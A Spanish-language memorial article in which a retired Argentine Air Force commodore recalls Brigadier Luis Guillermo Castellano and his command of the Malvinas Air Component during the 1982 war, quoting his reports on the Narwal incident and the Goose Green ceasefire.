Recordando al Brigadier (R) VGM D. Luis Guillermo CASTELLANO

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Por Comodoro (R) VGM Oscar Luis ARANDA DURAÑONA (*)


>>> | Al Brigadier Luis Guillermo CASTELLANO, lo conocí en 1962, cuando él era un joven Capitán y estaba al frente de una escuadrilla del Curso de Aviadores Militares en la Escuela de Aviación Militar. De esa época solo me recuerdo la potente sonoridad de su voz, el inocultable acento cordobés y su buen humor. También recuerdo su arribo a la Escuela, al promediar el año, junto con otros aviadores, tripulando los T-28 que traían en vuelo desde los Estados Unidos.

Veinte años después, el 5 de abril de 1982, lo encontré nuevamente en el piso superior de la Torre de Vuelo del aeródromo Puerto Argentino. Él comandaba el Componente Aéreo Malvinas, sin dudas el cargo más exigente de su carrera, pues tenía la responsabilidad de conducir a los hombres asignados para afrontar la hora suprema de la verdad de las organizaciones militares, esa hora en que los uniformados por vocación deben cumplir con la obligación de defender la Patria con las armas, única justificación de la existencia y sostenimiento de las FFAA con las contribuciones de los habitantes de la Nación.

Instalado detrás del sector donde los controladores dirigían el tránsito aéreo, el Brigadier se hallaba reunido con un grupo de oficiales. Además de la cordialidad del saludo, habitual en él, me indicó que dejara la bolsa de campaña en un rincón de la sala y, sin más prolegómenos asistiera a la exposición del Jefe del Departamento Operaciones, el entonces Vicecomodoro Alberto ALEGRÍA. Por el momento, ese sector de la Torre de Control era la Sala de Operaciones y el dormitorio del Brigadier y de los integrantes de la Plana Mayor.

A pesar de que el Jefe de la Agencia LADE y representante de la Cancillería argentina en Malvinas, Vicecomodoro Roberto GAMEN, le había ofrecido alojarlo en la confortable habitación de huéspedes en su residencia, el Brigadier se negó a aceptarla. Durante varias noches, en el mejor palco para apreciar el espectáculo de los aterrizajes del Puente Aéreo, el Brigadier CASTELLANO abría su bolsa de dormir y compartía los mullidos mosaicos con los oficiales que lo auxiliaban.

Alrededor del 10 de abril, la Plana Mayor del Componente Aéreo se instaló en la Stanley House, una antigua casona ubicada en el centro de una manzana arbolada del poblado, por lo que supongo que los techos rojizos serían bien notables. En las dos habitaciones que disponía la casa, pudimos dormir en camas, pero solo con bolsas de dormir porque eran a “cama caliente” y en los frecuentes turnos que debíamos cubrir compartíamos los colchones. El Brigadier también, y recuerdo que dormíamos en las camas de al lado el 1° de mayo, a las 04:40, cuando estallaron las primeras bombas en el aeródromo, a 5 kilómetros de la ciudad.

Todos estábamos alarmados y desconcertados y nos preguntábamos con qué nos habían bombardeado en esa hora de una noche oscura en los confines del Atlántico Sur.En cambio, a Castellano solo le interesó hablar con el Comodoro DESTRI, “denme con el Cholo”, exigía mirando a un Cabo Principal que daba manija y manija al teléfono punto a punto. El Brigadier siguió insistiendo, mientras explotaban las últimas bombas armadas con espoletas de retardo. Cuando consiguió hablar, la primera orden fue que hiciera evacuar la base por todo el personal que no ocupara un puesto de combate y que, antes del amanecer, los que permanecieran debían ocupar las fortificaciones que, por precaución, se habían construido con anterioridad, en el costado opuesto de la pista, disimuladas en unas excavaciones, aún frescas, que habían realizado con maquinarias cuando construyeron la pista.

Esa misma tarde, CASTELLANO exhibió otra de sus facetas. Al medio día, dos aviones Harrier atacaron al pesquero Narwal que, con un oficial de la Armada a bordo, simulaba pescar, con una bandera argentina enarbolada, y realizaba tareas de inteligencia. Le tiraron dos bombas y no le acertaron y, después lo atacaron con cañones de 30 mm. Los tripulantes del Narwal comenzaron a evacuarlo. Y, aparentemente porque no arriaba la bandera, los británicos enviaron dos Harrier más para que lo volvieron a cañonear.
En su informe el Brigadier CASTELLANO escribió: El General Menéndez me pidió que enviara un helicóptero a la zona para tratar de rescatar a los náufragos, que se encontraban en balsas salvavidas. Analizado el requerimiento con el Estado Mayor e informado por el radar de que en las proximidades de la nave se encontraba una patrulla aérea de combate, orbitando en altura, llegamos a la conclusión que estaba en espera de que acudiéramos al rescate. Le manifesté al General que mientras los aviones enemigos estuvieran en la zona, no enviaría el helicóptero. Luego de una fuerte discusión, Menéndez ordenó que un helicóptero Puma del Ejército acudiera de inmediato al rescate.

Sobre este tema, la historia oficial británica asegura que a las 13:00h fuerzas especiales enviadas en un helicóptero Sea King tomaron el pesquero y capturaron a la tripulación. Al final del día, 16:00 horas, el destructor Coventry derribó un helicóptero Puma del Ejército Argentino que volaba hacia el Narwal(1).
Con triunfos y derrotas la guerra siguió su marcha y el Brigadier siguió dando muestras de humildad, sensatez y aplomo para decir no a quién y cuándo debía. En ese tiempo se consolidó la mesa chica del Comandante del Componente Aéreo que integrábamos los Vicecomodoros Alberto ALEGRÍA, Héctor R. GILOBERT y el autor de esta nota. Los cuatro cenábamos juntos, intercambiábamos opiniones y programábamos las acciones más urgentes, todo mientras cumplíamos el turno de mucama. Una costumbre propuesta por GILOBERT que consistía en que, uno por noche, preparaba la cena y, después, limpiaba la vajilla, mientras los tres restantes disfrutaban de un buen cigarrillo. He presenciado al Sr Brigadier lavar los platos y negarse terminantemente a que lo discriminaran.
Se llegó a la mañana del 29 de mayo, cuando el Jefe Base Aérea Militar Cóndor, Comodoro Wilson PEDROZZO le informó al Brigadier que sus medios habían sido superados de modo abrumador por el poder de fuego por las fuerzas británicas. Tras cuarenta y ocho horas de combates, el personal había llegado al agotamiento y se hallaba cercado en el caserío donde se encontraban refugiados numerosos civiles, hombres, mujeres y niños de Darwin y Goose Green. Ante lo insostenible de la situación, Castellano le ordenó a PEDROZZO convenir un cese del fuego para sus tropas.
En su parte diario CASTELLANO escribió: Cabe reconocer el admirable valor y arrojo con que se le hizo frente al agresor, y a la determinación de luchar hasta las últimas consecuencias por parte de los efectivos argentinos, actitud ésta que los mandos naturales (él) modificaron por considerarla estéril desde el punto de vista militar; e inhumana, por el sacrificio de vidas civiles inocentes que se producirían en la lucha por la localidad. La guarnición del Ejército, hermana de luchas y sacrificios desde el primer momento, vivió idénticas situaciones de bravura y suerte. El Jefe del Componente Aéreo Malvinas quiere destacar la fraternidad de armas entre la Fuerza Aérea y el Ejército Argentino y la valiente, heroica e inteligente voluntad de lucha con que se enfrentó al enemigo en el aire y en la tierra de este suelo patrio. Solicito que el presente texto sea puesto en conocimiento de la Fuerza Aérea. Firmado: Luis Guillermo CASTELLANO, Brigadier. Jefe Componente Aéreo Malvinas.
Frente a estos testimonios sobre la figura del Brigadier CASTELLANO, creo que no se puede añadir más que admiración y afecto que guardan de él quienes fuimos sus subordinados en Malvinas. Para no equivocarme al escribir esta nota, telefónicamente sondeé la opinión de los Brigadieres retirados DESTRI y ALEGRÍA. Ambos concordaron en de nuestro Comandante de Componente Aéreo: un militar profesional en el cabal sentido de la palabra, humilde y sereno, que sabía escuchar al subalterno antes de decidir. Los dos Brigadieres se mostraron sumamente agradecidos por la enseñanza que recibieron con su ejemplo y que aplicaron cuando, años después, ambos ejercieron de comando.
Por mi parte, solo puedo añadir que un Oficial Superior, formado y experimentado en el ejercicio de funciones de instrucción y que nunca había prestado servicios en unidades operativas, llegado el momento, no esquivó la responsabilidad que le imponía la Institución. Solo con su sentido común y fortalecido por los recibidos desde su época de cadete en la , ejerció el Comando del Componente Aéreo que combatió en un Teatro de Operaciones real (Malvinas), quizás, en la única oportunidad que haya tenido la Fuerza Aérea de participar en toda su historia.

(1) Lawrence FREEDMAN, The oficial history of the Falkland Campaign Londres, Rodledge, 2007, p.428
Nota del autor: Tres hombres del Ejército fallecieron en esta acción, los Tenientes Primeros Roberto M. FIORITO y Juan C. BUSCHIAZZO y el Suboficial Raúl H. DIMOTTA.
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